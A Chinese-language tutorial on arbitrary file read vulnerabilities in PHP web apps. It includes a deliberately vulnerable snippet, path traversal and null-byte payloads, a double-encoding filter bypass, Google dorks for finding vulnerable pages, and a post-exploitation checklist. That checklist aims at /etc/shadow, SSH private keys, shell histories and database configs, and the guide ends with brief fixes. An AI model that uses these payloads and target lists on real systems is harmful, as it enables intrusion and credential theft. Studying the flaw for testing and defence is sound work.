1、漏洞简介
任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。严重的话,就可能导致SSRF,进而漫游至内网。
代码执行:eval,pregreplace+/e,assert,calluserfunc,calluserfuncarray,create_function
命令执行:
system(), exec(), shellexec(), passthru() ,pcntlexec(), popen(),proc_open()
文件读取:
filegetcontents(),highlightfile(),fopen(),read file(),fread(),fgetss(), fgets(),parseinifile(),showsource(),file()等
2、漏洞成因
存在读取文件的函数。如:readfile()、file_get_contents()、fopen()、fread()、fgets()、fpassthru()
读取文件的路径用户可控,且未校验或校验不严。如:…/…/…/字符
例如服务端文件读取代码如下:
<?php
$filename=$_GET['f'];
echo file_get_contents($filename);
?>
我们在前端使用../../../拼凑读取文件的绝对路径,读取/etc/passwd文件
#由于$filename没有经过校验或者校验不合格,用户可控制变量读取任意文件,如/etc/passwd、./index.php、/config.ini
readfile.php?f=/etc/passwd
readfile.php?f=…/…/…/…/…/…/…/…/etc/passwd
readfile.php?f=…/…/…/…/…/…/…/…/etc/passwd%00
file://伪协议 ,读取文件内容
readfile.php?f=file:///etc/passwd
参数f的参数值为PHP文件时:
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示下载,则是文件下载漏洞
3、漏洞利用
任意文件读取漏洞挖掘:
1、通过漏洞扫描工具对网站实施扫描可能发现任意文件读取漏洞,发送一系列”../”字符来遍历高层目录,并且尝试找到系统的配置文件或者系统中存在的敏感文件。
2、通过判断网站语言,并根据其url中部分提供的参数,进行构造相关的路径信息,如收集到网站中间件版本为apache,则想办法构造../../../ WEB-INF/web.xml等,然后查看其是否可被读取或者下载出来。
3、系统中存在文件(附件/文档/图片等等资源)下载的地方
4、手动挖掘从连接和参数名查看:
如:Google search
inurl:”readfile.php?file=
inurl:”read.php?filename=
inurl:”download.php?file=
inurl:”down.php?file=
5、通过指纹信息收集,发现目的网站是否使用已经存在文件读取漏洞的CMS、框架等。
如:xampp 文件读取漏洞、Metinfo6.0.0 文件读取漏洞、CISCO ASA远程任意文件读取漏洞、泛微云桥e-Bridge存在任意文件读取、Elasticsearch 任意文件读取漏洞
6、有些WAF会过滤../,可以构造 /.%252e/.%252e/.%252e/ , %25对应的是%,%2e对应的是.,所以 .%252e/ 对应的是 ../
任意文件读取利用总结:
1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作
2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件
3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)
4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)
5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)
6、读取程序源代码,方便后面做代码审计,找突破口
7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)
8、还有就是可以用字典先跑一波,信息收集还是要全面点。
任意文件读取常见参数名:
&RealPath=
&FilePath=
&file=
&filename=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
&META-INF=
&WEB-INF=
任意文件读取常用敏感文件路径:
windows常见的敏感文件路径:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux常见的敏感文件路径:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
程序的配置文件
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
/etc/nginx/nginx.conf
/var/www/html
/usr/local /services/nginx -1.6 .2 /logs/access.log
/usr/local /services/nginx -1.6 .2 /logs/error.log
/usr/local /services/nginx -1.6 .2/nginx.conf
/usr/local /services/nginx -1.6 .2 /conf/nginx.conf
/usr/local /services/nginx -1.6 .2 /conf/proxy.conf
/usr/local /services/nginx -1.6 .2 /conf/extra/haolaiyao.conf
redis:
/etc/redis.conf
SSH:
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
resin:
/usr/local /services/resin -4.0 .44/
/usr/local /services/resin -4.0 .44 /conf/resin.xml
/usr/local /services/resin -4.0 .44 /conf/resin.properties
jetty:
/usr/local /services/jetty -8.1 .16/
/usr/local /services/jetty -8.1 .16 /logs/stderrout.log
/usr/local /services/jetty -8.1 .16 /etc/jetty.xml
tomcat:
/usr/local /services/apache-tomcat -8.0 .23/logs
/usr/local /services/apache-tomcat -8.0 .23 /logs/catalina.out
svn:
/ home/svnroot/
4、漏洞修复
净化数据:对用户传过来的文件名参数进行统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
php.ini配置open_basedir限定文件访问范围